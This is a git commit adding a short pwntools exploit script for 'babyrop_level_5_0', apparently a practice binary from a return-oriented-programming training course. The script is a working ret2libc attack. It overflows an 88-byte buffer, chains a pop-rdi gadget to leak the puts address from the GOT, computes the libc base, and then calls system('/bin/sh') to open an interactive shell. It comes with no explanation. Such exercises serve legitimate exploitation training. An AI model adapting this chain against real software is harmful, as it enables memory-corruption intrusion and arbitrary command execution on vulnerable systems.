This commit is contained in:
jc
2025-08-06 15:40:02 +03:00
parent 828a4eca97
commit 0de9ccc394
2 changed files with 40 additions and 0 deletions
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./babyrop_level_5_0", checksec=False)
libc = target.libc
r = process()
# funcs
s = lambda a: r.sendline(a)
# gadgets
pop_rdi = 0x401c60
# buf
buf = b"A"*88
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.challenge)
s(buf)
# leak
r.recvuntil(b"Leaving!\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: %#x", puts)
libc.address = puts - libc.sym.puts
log.info("libc: %#x", libc.address)
sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system
# pop
buf = b"A"*88
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(system)
s(buf)
r.interactive()
Binary file not shown.